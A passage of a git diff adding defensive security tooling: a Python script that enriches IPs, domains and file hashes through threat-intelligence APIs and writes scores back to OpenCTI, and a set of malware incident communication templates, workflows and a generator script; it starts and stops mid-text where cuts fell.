vulnerabilities adds risk points +6. **Final Priority**: Aggregated score determines analyst priority queue placement diff --git a/skills/building-ioc-enrichment-pipeline-with-opencti/scripts/process.py b/skills/building-ioc-enrichment-pipeline-with-opencti/scripts/process.py new file mode 100644 index 00000000..275e45a0 --- /dev/null +++ b/skills/building-ioc-enrichment-pipeline-with-opencti/scripts/process.py @@ -0,0 +1,444 @@ +#!/usr/bin/env python3 +""" +OpenCTI IOC Enrichment Pipeline Script + +Automates IOC enrichment using OpenCTI's pycti library and external APIs: +- Queries VirusTotal, Shodan, AbuseIPDB, GreyNoise for IOC context +- Creates STIX 2.1 bundles with enrichment results +- Updates OpenCTI observables with enrichment data +- Generates enrichment reports with confidence scoring + +Requirements: + pip install pycti stix2 requests + +Usage: + python process.py --url http://localhost:8080 --token YOUR_TOKEN --enrich-ip 1.2.3.4 + python process.py --url http://localhost:8080 --token YOUR_TOKEN --enrich-domain evil.com + python process.py --url http://localhost:8080 --token YOUR_TOKEN --bulk-enrich --days 1 +""" + +import argparse +import json +import sys +import os +from datetime import datetime, timedelta +from typing import Optional + +try: + from pycti import OpenCTIApiClient +except ImportError: + print("ERROR: pycti not installed. Run: pip install pycti") + sys.exit(1) + +import requests + + +class OpenCTIEnrichmentPipeline: + """Automated IOC enrichment pipeline for OpenCTI.""" + + def __init__(self, url: str, token: str): + self.client = OpenCTIApiClient(url, token) + self.vt_key = os.environ.get("VIRUSTOTAL_API_KEY", "") + self.shodan_key = os.environ.get("SHODAN_API_KEY", "") + self.abuseipdb_key = os.environ.get("ABUSEIPDB_API_KEY", "") + self.greynoise_key = os.environ.get("GREYNOISE_API_KEY", "") + self.stats = { + "enriched": 0, + "failed": 0, + "skipped": 0, + "vt_queries": 0, + "shodan_queries": 0, + "abuseipdb_queries": 0, + "greynoise_queries": 0, + } + + def enrich_ip(self, ip_address: str) -> dict: + """Enrich an IP address with multiple external sources.""" + results = {"ip": ip_address, "sources": {}, "confidence_score": 0} + + # VirusTotal enrichment + if self.vt_key: + vt_data = self._query_virustotal_ip(ip_address) + if vt_data: + results["sources"]["virustotal"] = vt_data + malicious = vt_data.get("malicious_count", 0) + total = vt_data.get("total_engines", 0) + if total > 0: + results["confidence_score"] += int((malicious / total) * 30) + + # Shodan enrichment + if self.shodan_key: + shodan_data = self._query_shodan(ip_address) + if shodan_data: + results["sources"]["shodan"] = shodan_data + vulns = len(shodan_data.get("vulns", [])) + results["confidence_score"] += min(vulns * 5, 20) + + # AbuseIPDB enrichment + if self.abuseipdb_key: + abuse_data = self._query_abuseipdb(ip_address) + if abuse_data: + results["sources"]["abuseipdb"] = abuse_data + abuse_score = abuse_data.get("abuse_confidence_score", 0) + results["confidence_score"] += int(abuse_score * 0.3) + + # GreyNoise enrichment + if self.greynoise_key: + gn_data = self._query_greynoise(ip_address) + if gn_data: + results["sources"]["greynoise"] = gn_data + classification = gn_data.get("classification", "unknown") + if classification == "malicious": + results["confidence_score"] += 20 + elif classification == "benign": + results["confidence_score"] = max(0, results["confidence_score"] - 20) + + results["confidence_score"] = min(100, results["confidence_score"]) + self.stats["enriched"] += 1 + return results + + def enrich_domain(self, domain: str) -> dict: + """Enrich a domain with VirusTotal context.""" + results = {"domain": domain, "sources": {}, "confidence_score": 0} + + if self.vt_key: + vt_data = self._query_virustotal_domain(domain) + if vt_data: + results["sources"]["virustotal"] = vt_data + malicious = vt_data.get("malicious_count", 0) + total = vt_data.get("total_engines", 0) + if total > 0: + results["confidence_score"] += int((malicious / total) * 50) + + results["confidence_score"] = min(100, results["confidence_score"]) + self.stats["enriched"] += 1 + return results + + def enrich_hash(self, file_hash: str) -> dict: + """Enrich a file hash with VirusTotal context.""" + results = {"hash": file_hash, "sources": {}, "confidence_score": 0} + + if self.vt_key: + vt_data = self._query_virustotal_hash(file_hash) + if vt_data: + results["sources"]["virustotal"] = vt_data + malicious = vt_data.get("malicious_count", 0) + total = vt_data.get("total_engines", 0) + if total > 0: + results["confidence_score"] += int((malicious / total) * 80) + + results["confidence_score"] = min(100, results["confidence_score"]) + self.stats["enriched"] += 1 + return results + + def _query_virustotal_ip(self, ip: str) -> Optional[dict]: + """Query VirusTotal for IP address information.""" + try: + resp = requests.get( + f"https://www.virustotal.com/api/v3/ip_addresses/{ip}", + headers={"x-apikey": self.vt_key}, + timeout=30, + ) + self.stats["vt_queries"] += 1 + if resp.status_code == 200: + data = resp.json().get("data", {}).get("attributes", {}) + stats = data.get("last_analysis_stats", {}) + return { + "malicious_count": stats.get("malicious", 0), + "suspicious_count": stats.get("suspicious", 0), + "harmless_count": stats.get("harmless", 0), + "total_engines": sum(stats.values()) if stats else 0, + "as_owner": data.get("as_owner", ""), + "country": data.get("country", ""), + "reputation": data.get("reputation", 0), + } + except Exception as e: + print(f"[-] VirusTotal query failed for {ip}: {e}") + return None + + def _query_virustotal_domain(self, domain: str) -> Optional[dict]: + """Query VirusTotal for domain information.""" + try: + resp = requests.get( + f"https://www.virustotal.com/api/v3/domains/{domain}", + headers={"x-apikey": self.vt_key}, + timeout=30, + ) + self.stats["vt_queries"] += 1 + if resp.status_code == 200: + data = resp.json().get("data", {}).get("attributes", {}) + stats = data.get("last_analysis_stats", {}) + return { + "malicious_count": stats.get("malicious", 0), + "suspicious_count": stats.get("suspicious", 0), + "total_engines": sum(stats.values()) if stats else 0, + "registrar": data.get("registrar", ""), + "creation_date": data.get("creation_date", ""), + "reputation": data.get("reputation", 0), + "categories": data.get("categories", {}), + } + except Exception as e: + print(f"[-] VirusTotal query failed for {domain}: {e}") + return None + + def _query_virustotal_hash(self, file_hash: str) -> Optional[dict]: + """Query VirusTotal for file hash information.""" + try: + resp = requests.get( + f"https://www.virustotal.com/api/v3/files/{file_hash}", + headers={"x-apikey": self.vt_key}, + timeout=30, + ) + self.stats["vt_queries"] += 1 + if resp.status_code == 200: + data = resp.json().get("data", {}).get("attributes", {}) + stats = data.get("last_analysis_stats", {}) + return { + "malicious_count": stats.get("malicious", 0), + "suspicious_count": stats.get("suspicious", 0), + "total_engines": sum(stats.values()) if stats else 0, + "type_description": data.get("type_description", ""), + "size": data.get("size", 0), + "names": data.get("names", [])[:5], + "tags": data.get("tags", [])[:10], + } + except Exception as e: + print(f"[-] VirusTotal query failed for {file_hash}: {e}") + return None + + def _query_shodan(self, ip: str) -> Optional[dict]: + """Query Shodan for IP host information.""" + try: + resp = requests.get( + f"https://api.shodan.io/shodan/host/{ip}?key={self.shodan_key}", + timeout=30, + ) + self.stats["shodan_queries"] += 1 + if resp.status_code == 200: + data = resp.json() + return { + "ports": data.get("ports", []), + "vulns": data.get("vulns", []), + "os": data.get("os"), + "isp": data.get("isp", ""), + "org": data.get("org", ""), + "country": data.get("country_name", ""), + "city": data.get("city", ""), + "hostnames": data.get("hostnames", []), + "tags": data.get("tags", []), + } + except Exception as e: + print(f"[-] Shodan query failed for {ip}: {e}") + return None + + def _query_abuseipdb(self, ip: str) -> Optional[dict]: + """Query AbuseIPDB for IP reputation.""" + try: + resp = requests.get( + "https://api.abuseipdb.com/api/v2/check", + headers={ + "Key": self.abuseipdb_key, + "Accept": "application/json", + }, + params={"ipAddress": ip, "maxAgeInDays": 90, "verbose": True}, + timeout=30, + ) + self.stats["abuseipdb_queries"] += 1 + if resp.status_code == 200: + data = resp.json().get("data", {}) + return { + "abuse_confidence_score": data.get("abuseConfidenceScore", 0), + "total_reports": data.get("totalReports", 0), + "distinct_users": data.get("numDistinctUsers", 0), + "country": data.get("countryCode", ""), + "isp": data.get("isp", ""), + "usage_type": data.get("usageType", ""), + "is_tor": data.get("isTor", False), + "is_whitelisted": data.get("isWhitelisted", False), + "last_reported": data.get("lastReportedAt", ""), + } + except Exception as e: + print(f"[-] AbuseIPDB query failed for {ip}: {e}") + return None + + def _query_greynoise(self, ip: str) -> Optional[dict]: + """Query GreyNoise for IP classification.""" + try: + resp = requests.get( + f"https://api.greynoise.io/v3/community/{ip}", + headers={"key": self.greynoise_key}, + timeout=30, + ) + self.stats["greynoise_queries"] += 1 + if resp.status_code == 200: + data = resp.json() + return { + "classification": data.get("classification", "unknown"), + "noise": data.get("noise", False), + "riot": data.get("riot", False), + "name": data.get("name", ""), + "last_seen": data.get("last_seen", ""), + "message": data.get("message", ""), + } + except Exception as e: + print(f"[-] GreyNoise query failed for {ip}: {e}") + return None + + def update_opencti_observable(self, observable_value: str, + enrichment: dict) -> bool: + """Update OpenCTI observable with enrichment results.""" + try: + # Search for existing observable + observables = self.client.stix_cyber_observable.list( + filters={ + "mode": "and", + "filters": [{"key": "value", "values": [observable_value]}], + "filterGroups": [], + } + ) + + if not observables: + print(f"[-] Observable {observable_value} not found in OpenCTI") + return False + + obs_id = observables[0]["id"] + score = enrichment.get("confidence_score", 0) + + # Update confidence score + self.client.stix_cyber_observable.update_field( + id=obs_id, + input={"key": "x_opencti_score", "value": str(score)}, + ) + + # Add enrichment note + note_content = json.dumps(enrichment["sources"], indent=2) + self.client.note.create( + content=f"## Automated Enrichment Results\n```json\n{note_content}\n```", + abstract=f"Enrichment Score: {score}/100", + objects=[obs_id], + ) + + # Add labels based on score + if score >= 80: + self.client.stix_cyber_observable.add_label( + id=obs_id, label_name="enrichment:critical" + ) + elif score >= 50: + self.client.stix_cyber_observable.add_label( + id=obs_id, label_name="enrichment:high" + ) + + print(f"[+] Updated {observable_value} in OpenCTI (score: {score})") + return True + + except Exception as e: + print(f"[-] Failed to update OpenCTI: {e}") + self.stats["failed"] += 1 + return False + + def bulk_enrich_recent(self, days: int = 1, max_items: int = 100): + """Bulk enrich recently created observables.""" + date_from = (datetime.now() - timedelta(days=days)).strftime( + "%Y-%m-%dT00:00:00.000Z" + ) + + observables = self.client.stix_cyber_observable.list( + first=max_items, + filters={ + "mode": "and", + "filters": [ + {"key": "created_at", "values": [date_from], "operator": "gt"} + ], + "filterGroups": [], + }, + ) + + print(f"[+] Found {len(observables)} observables to enrich") + + for obs in observables: + entity_type = obs.get("entity_type", "") + value = obs.get("observable_value", "") + + if not value: + continue + + if entity_type == "IPv4-Addr": + enrichment = self.enrich_ip(value) + elif entity_type == "Domain-Name": + enrichment = self.enrich_domain(value) + elif entity_type in ("StixFile", "Artifact"): + hashes = obs.get("hashes", {}) + sha256 = hashes.get("SHA-256", "") + if sha256: + enrichment = self.enrich_hash(sha256) + else: + continue + else: + self.stats["skipped"] += 1 + continue + + self.update_opencti_observable(value, enrichment) + + def print_stats(self): + """Print enrichment statistics.""" + print("\n=== Enrichment Pipeline Statistics ===") + for key, value in self.stats.items(): + print(f" {key.replace('_', ' ').title()}: {value}") + print("=====================================\n") + + +def main(): + parser = argparse.ArgumentParser( + description="OpenCTI IOC Enrichment Pipeline" + ) + parser.add_argument("--url", required=True, help="OpenCTI instance URL") + parser.add_argument("--token", required=True, help="OpenCTI API token") + parser.add_argument("--enrich-ip", help="Enrich a single IP address") + parser.add_argument("--enrich-domain", help="Enrich a single domain") + parser.add_argument("--enrich-hash", help="Enrich a single file hash") + parser.add_argument( + "--bulk-enrich", action="store_true", help="Bulk enrich recent observables" + ) + parser.add_argument("--days", type=int, default=1, help="Lookback days for bulk") + parser.add_argument("--max-items", type=int, default=100, help="Max items for bulk") + parser.add_argument( + "--update-opencti", action="store_true", + help="Update results back to OpenCTI", + ) + parser.add_argument("--output", help="Output file for enrichment results") + + args = parser.parse_args() + pipeline = OpenCTIEnrichmentPipeline(args.url, args.token) + + results = None + + if args.enrich_ip: + results = pipeline.enrich_ip(args.enrich_ip) + if args.update_opencti: + pipeline.update_opencti_observable(args.enrich_ip, results) + + elif args.enrich_domain: + results = pipeline.enrich_domain(args.enrich_domain) + if args.update_opencti: + pipeline.update_opencti_observable(args.enrich_domain, results) + + elif args.enrich_hash: + results = pipeline.enrich_hash(args.enrich_hash) + if args.update_opencti: + pipeline.update_opencti_observable(args.enrich_hash, results) + + elif args.bulk_enrich: + pipeline.bulk_enrich_recent(days=args.days, max_items=args.max_items) + + if results: + print(json.dumps(results, indent=2, default=str)) + if args.output: + with open(args.output, "w") as f: + json.dump(results, f, indent=2, default=str) + print(f"[+] Results saved to {args.output}") + + pipeline.print_stats() + + +if __name__ == "__main__": + main() diff --git a/skills/building-malware-incident-communication-template/SKILL.md b/skills/building-malware-incident-communication-template/SKILL.md new file mode 100644 index 00000000..03a0c434 --- /dev/null +++ b/skills/building-malware-incident-communication-template/SKILL.md @@ -0,0 +1,311 @@ +--- +name: building-malware-incident-communication-template +description: Build structured communication templates for malware incidents including stakeholder notifications, executive briefings, technical advisories, and regulatory disclosures with severity-based escalation procedures. +domain: cybersecurity +subdomain: incident-response +tags: [incident-communication, malware-response, stakeholder-notification, crisis-communication, executive-briefing, regulatory-disclosure] +version: "1.0" +author: mahipal +license: MIT +--- + +# Building Malware Incident Communication Template + +## Overview + +Effective communication during malware incidents is critical for coordinated response, stakeholder management, and regulatory compliance. A structured communication framework ensures the right people receive appropriate information at the right time, preventing panic while maintaining transparency. Communication templates should cover internal escalation, executive briefings, technical advisories for IT teams, customer notifications, regulatory disclosures, and media statements. The framework must account for different malware types (ransomware, wiper, trojan, worm) and severity levels that drive escalation speed and audience. + +## Communication Framework + +### Severity Classification + +| Severity | Description | Notification Timeline | Audience | +|----------|-------------|----------------------|----------| +| P1 - Critical | Ransomware, wiper, or widespread infection affecting business operations | Within 15 minutes | CISO, CEO, Legal, Board (if applicable) | +| P2 - High | Targeted malware on critical systems, data exfiltration suspected | Within 1 hour | CISO, IT Director, Legal | +| P3 - Medium | Contained malware infection, limited spread | Within 4 hours | Security Manager, IT Director | +| P4 - Low | Single endpoint infection, quickly contained | Within 24 hours | Security Team Lead | + +### Communication Channels + +| Channel | Use Case | Security Level | +|---------|----------|---------------| +| Out-of-band phone calls | Initial critical notifications | Highest | +| Encrypted messaging (Signal) | Real-time IR team coordination | High | +| Secure email (encrypted) | Formal notifications, documentation | High | +| War room (physical/virtual) | Ongoing incident coordination | Medium | +| Incident ticketing system | Status tracking and documentation | Medium | +| Company intranet | Broad employee communication | Standard | + +## Template 1: Initial Incident Notification (Internal) + +``` +SUBJECT: [SEVERITY] Malware Incident - Initial Notification - [DATE/TIME UTC] + +CLASSIFICATION: CONFIDENTIAL - IR TEAM ONLY + +INCIDENT ID: IR-[YEAR]-[NUMBER] +DETECTION TIME: [YYYY-MM-DD HH:MM UTC] +NOTIFICATION TIME: [YYYY-MM-DD HH:MM UTC] +SEVERITY: [P1/P2/P3/P4] + +SUMMARY: +A malware incident has been detected affecting [NUMBER] systems in +[DEPARTMENT/LOCATION]. The malware has been identified as [TYPE] with +[KNOWN/UNKNOWN] characteristics. + +CURRENT IMPACT: +- Systems affected: [COUNT and DESCRIPTION] +- Business functions impacted: [LIST] +- Data at risk: [DESCRIPTION] +- Current spread status: [CONTAINED/SPREADING/UNKNOWN] + +IMMEDIATE ACTIONS TAKEN: +1. [ACTION - e.g., Affected endpoints isolated from network] +2. [ACTION - e.g., EDR containment policies activated] +3. [ACTION - e.g., Security team mobilized] + +NEXT STEPS: +1. [PLANNED ACTION with TIMELINE] +2. [PLANNED ACTION with TIMELINE] + +INCIDENT COMMANDER: [NAME] +CONTACT: [PHONE/ENCRYPTED CHANNEL] + +NEXT UPDATE: [TIME] or sooner if situation changes + +--- +Do not forward this notification outside the IR team. +``` + +## Template 2: Executive Briefing + +``` +SUBJECT: Executive Briefing - Malware Incident IR-[YEAR]-[NUMBER] + +FOR: [CEO / CISO / CIO / Board] +FROM: [Incident Commander] +DATE: [DATE] +UPDATE: [#] + +SITUATION SUMMARY: +[2-3 sentences describing the incident in business terms] + +BUSINESS IMPACT: +- Revenue impact: [ESTIMATED/NONE/UNDER ASSESSMENT] +- Operational impact: [DESCRIPTION] +- Customer impact: [DESCRIPTION] +- Regulatory implications: [DESCRIPTION] + +CURRENT STATUS: [DETECTED / CONTAINED / ERADICATING / RECOVERING] + +KEY DECISIONS NEEDED: +1. [DECISION with context and recommendation] +2. [DECISION with context and recommendation] + +TIMELINE: +- [TIME]: Incident detected +- [TIME]: Containment initiated +- [TIME]: [MILESTONE] +- [TIME]: Estimated recovery (if known) + +EXTERNAL COMMUNICATION STATUS: +- Regulatory notification: [REQUIRED/SUBMITTED/NOT REQUIRED] +- Customer notification: [REQUIRED/PLANNED/NOT REQUIRED] +- Law enforcement: [ENGAGED/PLANNED/NOT APPLICABLE] + +RESOURCE REQUIREMENTS: +- [RESOURCE NEED - e.g., External IR firm engagement] +- [RESOURCE NEED - e.g., Additional hardware for rebuild] + +NEXT UPDATE: [TIME] +``` + +## Template 3: Technical Advisory for IT Teams + +``` +SUBJECT: TECHNICAL ADVISORY - [MALWARE NAME] - Immediate Action Required + +SEVERITY: [CRITICAL/HIGH/MEDIUM] +DATE: [DATE/TIME UTC] +ADVISORY ID: TA-[YEAR]-[NUMBER] + +THREAT DESCRIPTION: +[Technical description of the malware, behavior, and indicators] + +AFFECTED SYSTEMS: +- Operating Systems: [LIST] +- Applications: [LIST] +- Network segments: [LIST] + +INDICATORS OF COMPROMISE (IOCs): +File Hashes: + MD5: [HASH] + SHA256: [HASH] + +File Names: + [FILENAME] + +Network Indicators: + C2 Domains: [DOMAIN] + C2 IPs: [IP ADDRESS] + User-Agent: [STRING] + +Registry Keys: + [REGISTRY PATH] + +DETECTION METHODS: +- EDR: [DETECTION RULE/SIGNATURE] +- SIEM: [CORRELATION RULE] +- Network: [IDS/IPS SIGNATURE] + +REQUIRED ACTIONS: +Priority 1 (Immediate): + [ ] Block IOCs at firewall/proxy + [ ] Push EDR containment rules + [ ] Scan all endpoints for IOCs + +Priority 2 (Within 4 hours): + [ ] Apply patches [KB/CVE NUMBER] + [ ] Update antivirus signatures + [ ] Review logs for historical indicators + +Priority 3 (Within 24 hours): + [ ] Conduct enterprise-wide hunt + [ ] Validate backup integrity + [ ] Update detection rules + +CONTACT: SOC - [PHONE] | Security Engineering - [PHONE] +``` + +## Template 4: Regulatory Notification + +``` +[ORGANIZATION LETTERHEAD] + +[REGULATORY BODY] +[ADDRESS] + +Date: [DATE] + +RE: Data Security Incident Notification - [REFERENCE NUMBER] + +Dear [TITLE/NAME], + +Pursuant to [REGULATION - e.g., GDPR Article 33, State Breach Notification Law], +[ORGANIZATION] is providing notification of a data security incident. + +INCIDENT SUMMARY: +On [DATE], [ORGANIZATION] detected a malware incident affecting systems containing +[TYPE OF DATA]. The incident was detected through [DETECTION METHOD]. + +DATA POTENTIALLY AFFECTED: +- Types of data: [PERSONAL DATA, FINANCIAL, HEALTH, etc.] +- Number of individuals: [COUNT or ESTIMATE] +- Categories of individuals: [CUSTOMERS, EMPLOYEES, etc.] + +TIMELINE: +- [DATE]: Incident occurred (estimated) +- [DATE]: Incident detected +- [DATE]: Containment achieved +- [DATE]: This notification + +MEASURES TAKEN: +1. [CONTAINMENT ACTION] +2. [INVESTIGATION ACTION] +3. [REMEDIATION ACTION] + +MEASURES TO MITIGATE ADVERSE EFFECTS: +1. [MITIGATION - e.g., Credit monitoring offered] +2. [MITIGATION - e.g., Password resets enforced] + +CONTACT INFORMATION: +[DPO/PRIVACY OFFICER NAME] +[TITLE] +[EMAIL] +[PHONE] + +Respectfully, +[SIGNATORY] +[TITLE] +``` + +## Template 5: Customer/Public Notification + +``` +SUBJECT: Important Security Notice from [ORGANIZATION] + +Dear [CUSTOMER/USER], + +We are writing to inform you of a security incident that may have affected +your information. + +WHAT HAPPENED: +On [DATE], we detected unauthorized activity on our systems involving +malicious software. We immediately activated our incident response procedures +and engaged leading cybersecurity experts to investigate. + +WHAT INFORMATION WAS INVOLVED: +Based on our investigation, the following types of information may have +been affected: [LIST - e.g., names, email addresses, etc.] + +WHAT WE ARE DOING: +- We have contained the incident and removed the malicious software +- We have engaged [FORENSIC FIRM] to conduct a thorough investigation +- We have enhanced our security controls to prevent similar incidents +- We have notified relevant regulatory authorities + +WHAT YOU CAN DO: +- Change your password for your [ORGANIZATION] account +- Enable multi-factor authentication if not already active +- Monitor your accounts for unusual activity +- [Additional specific recommendations] + +ADDITIONAL RESOURCES: +- [DEDICATED SUPPORT LINE] +- [FAQ PAGE URL] +- [CREDIT MONITORING ENROLLMENT - if applicable] + +We sincerely apologize for any concern this may cause and remain committed +to protecting your information. + +[SIGNATORY] +[TITLE] +``` + +## Communication Workflow + +### Escalation Matrix +``` +Malware Detected + | + v +[Classify Severity: P1/P2/P3/P4] + | + |-- P1: Notify within 15 min + | |-- Incident Commander + | |-- CISO (phone call) + | |-- CEO (phone call) + | |-- Legal Counsel + | |-- External IR firm + | |-- Law enforcement (if applicable) + | + |-- P2: Notify within 1 hour + | |-- CISO + | |-- IT Director + | |-- Legal Counsel + | + |-- P3: Notify within 4 hours + | |-- Security Manager + | |-- IT Director + | + |-- P4: Notify within 24 hours + |-- Security Team Lead +``` + +## References + +- NIST SP 800-61 Rev 2: Incident Communication Guidelines +- GDPR Article 33: Data Breach Notification Requirements +- SANS Incident Handler's Handbook: Communication Best Practices +- CISA Incident Reporting Guidelines diff --git a/skills/building-malware-incident-communication-template/assets/template.md b/skills/building-malware-incident-communication-template/assets/template.md new file mode 100644 index 00000000..816474c6 --- /dev/null +++ b/skills/building-malware-incident-communication-template/assets/template.md @@ -0,0 +1,51 @@ +# Malware Incident Communication Tracking Template + +## Case Information +| Field | Details | +|-------|---------| +| Case ID | | +| Severity | P1/P2/P3/P4 | +| Malware Type | | +| Communication Lead | | + +## Notification Tracker +| Stakeholder | Method | Time Sent | Acknowledged | By Whom | +|------------|--------|-----------|--------------|---------| +| CISO | Phone | | | | +| CEO | Phone | | | | +| Legal | Email | | | | +| IT Director | Slack | | | | +| Board | Email | | | | + +## Update Log +| Update # | Time (UTC) | Type | Recipients | Summary | +|----------|------------|------|------------|---------| +| 1 | | Initial | | | +| 2 | | Status | | | + +## Regulatory Notifications +| Regulation | Required | Deadline | Sent | Confirmed | +|-----------|----------|----------|------|-----------| +| GDPR (DPA) | | 72 hours | | | +| HIPAA (HHS) | | 60 days | | | +| State Breach | | Varies | | | +| SEC (8-K) | | 4 bus days | | | + +## Customer Communication +- [ ] Notification drafted +- [ ] Legal review complete +- [ ] Executive approval +- [ ] Support resources ready +- [ ] Notification sent +- [ ] FAQ published + +## Media Handling +- [ ] Holding statement prepared +- [ ] Spokesperson designated +- [ ] Media inquiry response approved +- [ ] Social media monitoring active + +## Lessons Learned (Communication) +- What worked well: +- What needs improvement: +- Template updates needed: diff --git a/skills/building-malware-incident-communication-template/references/standards.md b/skills/building-malware-incident-communication-template/references/standards.md new file mode 100644 index 00000000..ca94d342 --- /dev/null +++ b/skills/building-malware-incident-communication-template/references/standards.md @@ -0,0 +1,36 @@ +# Standards for Incident Communication + +## NIST SP 800-61 Rev 2 +- Incident communication guidelines and templates +- Stakeholder notification requirements +- Media handling procedures + +## GDPR Article 33 and 34 +- 72-hour notification to supervisory authority +- Communication to affected data subjects +- Required content for breach notifications + +## HIPAA Breach Notification Rule +- 60-day notification to HHS for breaches affecting 500+ individuals +- Individual notification requirements +- Media notification for large breaches + +## PCI DSS Incident Response +- Card brand notification requirements +- Forensic investigation reporting +- Merchant and service provider obligations + +## SEC Cybersecurity Disclosure Rules (2024) +- Material cybersecurity incident disclosure within 4 business days +- Annual reporting on cybersecurity risk management +- Board oversight disclosure requirements + +## CISA Incident Reporting +- CIRCIA mandatory reporting requirements +- Federal agency notification procedures +- Voluntary reporting guidelines + +## ISO 27035 - Information Security Incident Management +- Communication planning requirements +- Stakeholder identification and notification +- Post-incident communication review diff --git a/skills/building-malware-incident-communication-template/references/workflows.md b/skills/building-malware-incident-communication-template/references/workflows.md new file mode 100644 index 00000000..4c9e767f --- /dev/null +++ b/skills/building-malware-incident-communication-template/references/workflows.md @@ -0,0 +1,104 @@ +# Malware Incident Communication Workflows + +## Workflow 1: Initial Notification Chain + +``` +START: Malware Incident Confirmed + | + v +[Classify Severity] + |-- P1: Critical (ransomware, wiper, widespread) + |-- P2: High (targeted, data exfiltration) + |-- P3: Medium (contained infection) + |-- P4: Low (single endpoint, quickly resolved) + | + v +[Send Initial Notification] + |-- Use appropriate template for severity + |-- Send via secure out-of-band channel for P1/P2 + |-- Include: What happened, current impact, actions taken + | + v +[Establish Communication Cadence] + |-- P1: Every 2 hours or on significant changes + |-- P2: Every 4 hours + |-- P3: Every 8 hours + |-- P4: Daily summary + | + v +[Track Notifications Sent] + |-- Log all communications + |-- Record recipients and timestamps + |-- Document approval chain + | + v +END: Communication Cadence Established +``` + +## Workflow 2: Regulatory Notification Decision + +``` +START: Incident Scope Determined + | + v +[Personal Data Involved?] + |-- No --> Document decision, continue monitoring + |-- Yes --> Assess regulatory requirements + | + v +[Determine Applicable Regulations] + |-- GDPR: EU resident data? + |-- HIPAA: Protected health information? + |-- PCI DSS: Payment card data? + |-- State laws: US state breach notification? + |-- SEC: Material to publicly traded company? + | + v +[Prepare Regulatory Notification] + |-- Legal review of notification content + |-- Determine notification timeline + |-- Identify regulatory contact points + | + v +[Submit Notification] + |-- Send within required timeframe + |-- Document submission confirmation + |-- Track response from regulators + | + v +END: Regulatory Obligations Met +``` + +## Workflow 3: Customer Communication + +``` +START: Customer Notification Required + | + v +[Draft Customer Notification] + |-- Use customer notification template + |-- Include: What, when, impact, actions, resources + |-- Avoid technical jargon + | + v +[Legal and PR Review] + |-- Legal counsel approval + |-- PR/Communications review + |-- Executive sign-off + | + v +[Prepare Support Resources] + |-- Set up dedicated hotline + |-- Create FAQ page + |-- Brief customer support team + |-- Prepare credit monitoring (if applicable) + | + v +[Send Notification] + |-- Email to affected customers + |-- Website notice + |-- Media statement (if needed) + | + v +END: Customer Notification Complete +``` diff --git a/skills/building-malware-incident-communication-template/scripts/process.py b/skills/building-malware-incident-communication-template/scripts/process.py new file mode 100644 index 00000000..bda1aaa2 --- /dev/null +++ b/skills/building-malware-incident-communication-template/scripts/process.py @@ -0,0 +1,292 @@ +""" +Malware Incident Communication Template Generator +Generates severity-appropriate communication templates for malware incidents. +""" + +import json +from datetime import datetime, timezone +from pathlib import Path + + +class IncidentCommunicationGenerator: + """Generates incident communication templates based on severity and type.""" + + SEVERITY_LEVELS = { + "P1": {"name": "Critical", "notify_minutes": 15, "update_hours": 2}, + "P2": {"name": "High", "notify_minutes": 60, "update_hours": 4}, + "P3": {"name": "Medium", "notify_minutes": 240, "update_hours": 8}, + "P4": {"name": "Low", "notify_minutes": 1440, "update_hours": 24}, + } + + STAKEHOLDER_MATRIX = { + "P1": ["incident_commander", "ciso", "ceo", "legal", "board", "external_ir", "law_enforcement"], + "P2": ["incident_commander", "ciso", "it_director", "legal"], + "P3": ["security_manager", "it_director"], + "P4": ["security_team_lead"], + } + + def __init__(self, org_name="Organization", output_dir="communication_output"): + self.org_name = org_name + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + + def generate_initial_notification(self, case_id, severity, malware_type, + affected_systems, impact_description): + """Generate initial incident notification.""" + now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M UTC") + sev_info = self.SEVERITY_LEVELS.get(severity, self.SEVERITY_LEVELS["P2"]) + + notification = f"""SUBJECT: [{severity} - {sev_info['name']}] Malware Incident - Initial Notification - {now} + +CLASSIFICATION: CONFIDENTIAL - IR TEAM ONLY + +INCIDENT ID: {case_id} +DETECTION TIME: {now} +NOTIFICATION TIME: {now} +SEVERITY: {severity} - {sev_info['name']} + +SUMMARY: +A malware incident has been detected affecting {len(affected_systems)} system(s). +The malware has been identified as {malware_type}. + +CURRENT IMPACT: +- Systems affected: {', '.join(affected_systems)} +- Business impact: {impact_description} +- Current spread status: Under investigation + +IMMEDIATE ACTIONS TAKEN: +1. Affected endpoints have been isolated from the network +2. EDR containment policies have been activated +3. Security operations team has been mobilized +4. Forensic evidence preservation has been initiated + +NEXT STEPS: +1. Complete scope assessment within the next 2 hours +2. Deploy IOC-based hunting across enterprise +3. Engage external IR support if needed + +INCIDENT COMMANDER: [Assigned IC Name] +CONTACT: [Secure Communication Channel] + +NEXT UPDATE: {sev_info['update_hours']} hours or sooner if situation changes + +--- +Do not forward this notification outside the IR team. +""" + output_file = self.output_dir / f"{case_id}_initial_notification.txt" + with open(output_file, "w") as f: + f.write(notification) + + print(f"[+] Initial notification generated: {output_file}") + return notification + + def generate_executive_briefing(self, case_id, severity, incident_summary, + business_impact, status, decisions_needed): + """Generate executive briefing document.""" + now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M UTC") + + briefing = f"""SUBJECT: Executive Briefing - Malware Incident {case_id} + +FOR: CISO / CEO / CIO +FROM: Incident Commander +DATE: {now} + +SITUATION SUMMARY: +{incident_summary} + +BUSINESS IMPACT: +{business_impact} + +CURRENT STATUS: {status} + +KEY DECISIONS NEEDED: +""" + for i, decision in enumerate(decisions_needed, 1): + briefing += f"{i}. {decision}\n" + + briefing += f""" +EXTERNAL COMMUNICATION STATUS: +- Regulatory notification: Under assessment by Legal +- Customer notification: Under assessment +- Law enforcement: Under assessment + +NEXT UPDATE: As determined by severity level +""" + output_file = self.output_dir / f"{case_id}_executive_briefing.txt" + with open(output_file, "w") as f: + f.write(briefing) + + print(f"[+] Executive briefing generated: {output_file}") + return briefing + + def generate_technical_advisory(self, case_id, malware_name, description, + iocs, affected_systems, required_actions): + """Generate technical advisory for IT teams.""" + now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M UTC") + + advisory = f"""SUBJECT: TECHNICAL ADVISORY - {malware_name} - Immediate Action Required + +SEVERITY: CRITICAL +DATE: {now} +ADVISORY ID: TA-{case_id} + +THREAT DESCRIPTION: +{description} + +AFFECTED SYSTEMS: +""" + for system in affected_systems: + advisory += f"- {system}\n" + + advisory += "\nINDICATORS OF COMPROMISE (IOCs):\n" + + if "hashes" in iocs: + advisory += 